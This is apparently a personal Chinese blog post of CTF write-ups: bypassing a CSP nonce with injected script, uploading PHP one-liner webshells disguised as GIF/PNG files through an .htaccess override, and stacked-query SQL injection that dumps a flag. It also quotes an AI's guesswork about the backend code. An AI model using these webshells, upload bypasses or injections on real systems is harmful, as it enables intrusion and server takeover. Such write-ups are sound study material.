2025/11/29 我决定每天打卡几道题来积少成多

[AFCTF 2021]BABY_CSP


<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>BABY CSP</title>
</head>

<body>
    <a href='#' id="btn">whe3e are y0u fr0m?</a>
</body>
<script nonce=29de6fde0db5686d>
    btn.onclick = () => {
    location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
    }
    </script><p>I don't konw :( !</p></html>

这是题目的源码。页面内容为wewhe3e are y0u fr0m?按钮,按后会出现CSU,JXNU,HEBNU,idk之一

通过题目我们可以看到考察CSP,而题目通过GET方法获得school参数从而回显到屏幕上

注意到源码内包含了nonce(一次性令牌),说明脚本必须带这个令牌,否则CSP会阻止脚本执行。

那我们先来了解一下nonce

Nonce(Number Used Once)是一个在密码学、区块链和计算机安全中常用的术语,指一个仅使用一次的随机或伪随机数。 它的核心目的是确保每次操作或通信的唯一性,防止重放攻击(Replay Attack)或其他安全威胁。 在加密算法(如AES、SSL/TLS)或认证协议中,nonce作为临时令牌,确保每次加密的输入唯一,即使明文相同,生成的密文也不同。

先来尝试下URL传入/?school=<script>alert(1)</script>

题目只回显了一个感叹号,因为script标签没有正确的nonce所以被拦截了。

那我们传入事件型标签XSS/?school="><img src=x onerror=alert(1)>

回显中为 </script><p>"><img src=[x](http://node4.anna.nssctf.cn:28499/x) onerror=alert(1)>!</p></html>

并没有弹窗 说明我们的事件属性都不能执行

那就想能不能伪造nonce?看了半天发现人家这个nonce压根是没变的。。。。

所以构建payload

<script nonce="29de6fde0db5686d">alert(flag);</script>

出现flag

msedge_PwJE7DbiFH

[GXYCTF 2019]BabyUpload

题目给了个上传界面,这种题的逻辑就是上传个木马上去然后来控制

写个一句话小马,命名为shell.php上传

<?php eval($_POST['cmd']); ?>

报告后缀名不能有ph!,那我们来试试什么格式才能上传

修改为jpeg之后发现可以报告的内容不一样了诶,别蒙我啊,这标志明显还是php啊

那我们换一个payload试试

@eval($_POST['cmd']);

发现可以上传/var/www/html/upload/13de67143aa52630e21851a1180b233b/sh.jpeg succesfully uploaded!

尝试一下能否直接连到我们的小马,连接不上

那就得伪造了,并且得让我们的木马被当作php文件来解析,就需要尝试来上传覆盖掉.htaccess文件(Apache目录配置文件)

直接传还传不上去,利用MIME伪造文件类型

java_rdGa86ouGd.png

然后连接后发现,文件被当作文本放出来了。

参考下别的wp,改用png伪造木马

修改配置文件为AddType application/x-httpd-php .png

构建payload

GIF89a
<script language='php'>
@eval($_POST["a"]);
show_source("/flag");
</script>

然后直接访问其上传地址即可看到flag

[SUCTF 2019]EasySQL

哇,参考了很多人的wp,远看成岭侧成峰,flag高低各不同

输入sleep,or,union等常见的sql语句,发现都被过滤掉了,回显Nonono.

输入数字回显Array ( [0] => 1 ),字母无回显

可以用1;show databases;来看到数据库

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

1;show tables;可以看到表名

Array ( [0] => 1 ) Array ( [0] => Flag )

构建payload*,1,得到回显Array ( [0] => flag{fafb0156-ad41-47ab-96e1-5db21ec84a6b} [1] => 1 )

这个payload后端实际变成SELECT *,1 FROM Flag

但是只用*就没有回显。那只能猜测这是后端的小判断,这里参考下AI的答案

你的现象

  • 输入 1 页面会回显
  • 输入 \* 页面没有回显
  • 输入 \*,1 页面回显 flag 和 1

为什么?

1. 输入 1

你的输入变成 SQL:

SQL

SELECT 1 FROM Flag
  • 查询的是常量 1,对每一行都返回一个 1
  • Flag表如果有很多行,PHP会把每行的1输出出来
  • 回显的是常量,不是 flag,但确实有结果返回
  • 这说明只要结果集有内容,后端就会做回显

2. 输入 *

SQL:

SQL

SELECT * FROM Flag
  • 查询所有字段(如果Flag表只有一行,只有flag字段)
  • 理论上应该回显 flag
  • 实际上页面没有回显,可能PHP处理fetch_array结果时只输出数字下标、或者因为没有多个字段不执行输出逻辑

3. 输入 *,1

SQL:

SQL

SELECT *,1 FROM Flag
  • 查询所有字段(flag),再加一个字段常量1

  • 得到的数据是:

    Code

    Array( [0] => flag内容 [1]=>1)
    
  • 回显 flag内容和1,因为结果有多列


可能的PHP后端逻辑

方案一:数组长度判断

PHP

$row = mysqli_fetch_array($result);
if(count($row) > 1){
   foreach($row as $val) echo $val;
}
  • 所以只有>1的列才输出(*,1时有2列)

方案二:只输出数字型下标

PHP

$row = mysqli_fetch_array($result);
for($i=0;$i<count($row);$i++) echo $row[$i];
  • 单独*时行可能用的是字符串下标,PHP没输出
  • *,1时数字下标都有值

方案三:某种特殊模板导致只有常量列默认输出


为什么输入1会有回显

因为:

  • 查询返回的是常量字段
  • PHP写法默认输出所有返回列
  • 不是输出flag,还是让你看到有数据

总结分析

  • 你能用 1*,1 回显,说明数据有结果就回显,不管是不是字段还是常量
  • *没回显可能是PHP读flag字段用的是字符串下标,需要数字下标才输出结果
  • *,1可以强制让PHP的结果集有数字下标,被脚本输出

一句话总结

输入 1 会回显,是因为SQL的常量结果集让PHP代码捕获到内容;只有 *,1 能出 flag,是因为flag字段内容也用数字下标输出,单*没起作用是后端代码数据结构原因。

下次再见!